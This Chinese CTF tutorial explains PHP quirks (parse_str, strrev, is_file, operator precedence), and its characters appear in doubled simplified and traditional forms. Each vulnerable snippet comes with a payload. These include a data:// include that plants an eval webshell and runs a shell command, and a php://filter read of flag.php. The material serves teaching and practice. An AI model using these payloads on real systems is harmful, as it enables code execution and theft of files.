CTF中的PHP特性函數(shù)解析之下篇
前言
上篇文章講的進(jìn)階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數(shù)的最后一篇,我也會(huì)重點(diǎn)介紹一些有趣的PHP特性以及利用方法,下面開(kāi)始我們今天的內(nèi)容分享。
parse_str
parse_str()這個(gè)函數(shù)會(huì)把查詢字符串解析到變量中。那么我們?nèi)绾卫盟奶匦阅?,我們看下面的例子?/p>
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>
分析一下代碼要求我們什么,看最后要我們數(shù)組v2等于md5(v3),而根據(jù)上面代碼v2則是由該函數(shù)經(jīng)過(guò)v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數(shù)的特點(diǎn)將v2[flag]的值覆蓋,那么具體要怎樣做呢?
先對(duì)數(shù)字5進(jìn)行md5加密:
<?php $b=md5('5'); echo $b;// e4da3b7fbbce2345d7772b0674a318d5 ?>
之后再?gòu)膙1傳入我們的值即可完成繞過(guò):
Payload: GET:v3=5 POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5
strrev
這個(gè)函數(shù)還是很好理解的,就是將字符串進(jìn)行翻轉(zhuǎn),曾經(jīng)遇到過(guò)考察這個(gè)的題目覺(jué)得很有趣分享給大家,我們先看代碼:
highlight_file(__FILE__); $file = $_POST['file']; if(isset($file)){ if(strrev($file)==$file){ include $file; }
代碼很簡(jiǎn)單,第一個(gè)是高亮代碼沒(méi)有什么用,要我們傳入file而且要使回文數(shù)等于它本身并且還要考慮如何進(jìn)行攻擊,是不是不太好想,這里使用php里面的data協(xié)議,該協(xié)議可以進(jìn)行寫(xiě)入數(shù)據(jù),而且?>閉合后可以加任意字符不會(huì)受別的影響。于是我們構(gòu)造代碼:
data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;
可以看到思路還是挺巧妙的。
is_file
該函數(shù)檢測(cè)是不是一個(gè)常規(guī)的文件類型,在CTF中也出過(guò)繞過(guò)這個(gè)函數(shù)的題目,下面我們先看看代碼:
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } ?>
分析一下filter函數(shù)過(guò)濾了很多關(guān)鍵字符串對(duì)我們的輸入進(jìn)行限制,最后還不能讓is_file檢測(cè)出來(lái)是文件,那我們要怎樣讀取flag.php文件呢,看最后有個(gè)高亮file的操作,這里就是利用點(diǎn),我們要讓其等于flag文件,于是需要繞過(guò):
這里 根據(jù)特性is_file不會(huì)識(shí)別php偽協(xié)議,于是我們構(gòu)造下面代碼:
php://filter/read=convert.quoted-printable-encode/resource=flag.php
這樣傳入即可繞過(guò)檢測(cè)。
優(yōu)先級(jí)問(wèn)題
在php里存在以下優(yōu)先級(jí)特性:
&&與||的優(yōu)先級(jí)高于=,而&&優(yōu)先級(jí)高于||
=的優(yōu)先級(jí)高于and與or
這里也可以作為考點(diǎn)來(lái)考,我們看下面代碼:
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
我們需要傳入三個(gè)參數(shù),之后進(jìn)行類型的強(qiáng)制轉(zhuǎn)換,再通過(guò)判斷語(yǔ)句,最后需要code參數(shù)等于admin方可解題,根據(jù)優(yōu)先級(jí)原則,所以當(dāng)?shù)谝粋€(gè)判斷條件為true時(shí),直接跳過(guò)第二個(gè)條件然后判斷第三個(gè)條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構(gòu)造payload:
?code=admin&password=1&username=admin
結(jié)語(yǔ)
本文到這就結(jié)束了,這篇文章講了幾個(gè)比較有趣而且有一些難度的特性知識(shí),不知道大家吸收的咋樣了,當(dāng)然PHP特性遠(yuǎn)沒(méi)有這么少,更多關(guān)于CTF PHP特性函數(shù)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
PHP調(diào)用.NET的WebService 簡(jiǎn)單實(shí)例
這篇文章主要介紹了使用PHP調(diào)用.NET的WebService的一個(gè)簡(jiǎn)單實(shí)例,十分的簡(jiǎn)單,有需要的小伙伴可以自己擴(kuò)展下,如有疑問(wèn)請(qǐng)留言。2015-03-03php微信公眾號(hào)開(kāi)發(fā)之微信企業(yè)付款給個(gè)人
這篇文章主要為大家詳細(xì)介紹了php微信公眾號(hào)開(kāi)發(fā)之微信企業(yè)付款給個(gè)人,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-10-10PHP把數(shù)字轉(zhuǎn)成人民幣大寫(xiě)的函數(shù)分享
這篇文章主要介紹了PHP把數(shù)字轉(zhuǎn)成人民幣大寫(xiě)的函數(shù)分享,最后效果參考了一個(gè)百度APP,滿足大部份情況,需要的朋友可以參考下2014-06-06Thinkphp5框架實(shí)現(xiàn)圖片、音頻和視頻文件的上傳功能詳解
這篇文章主要介紹了Thinkphp5框架實(shí)現(xiàn)圖片、音頻和視頻文件的上傳功能,結(jié)合實(shí)例形式分析了thinkPHP5文件上傳的原理、操作步驟、實(shí)現(xiàn)方法及相關(guān)注意事項(xiàng),需要的朋友可以參考下2019-08-08Thinkphp連表查詢及數(shù)據(jù)導(dǎo)出方法示例
這篇文章主要介紹了Thinkphp連表查詢及數(shù)據(jù)導(dǎo)出方法,結(jié)合實(shí)例形式分析了thinkPHP連表查詢的操作技巧與相關(guān)注意事項(xiàng),需要的朋友可以參考下2016-10-10php后臺(tái)多用戶權(quán)限組思路與實(shí)現(xiàn)程序代碼分享
很多時(shí)候我們?cè)匍_(kāi)發(fā)過(guò)程中需要考慮到多用戶權(quán)限問(wèn)題,這篇文章大家可以參考下2012-02-02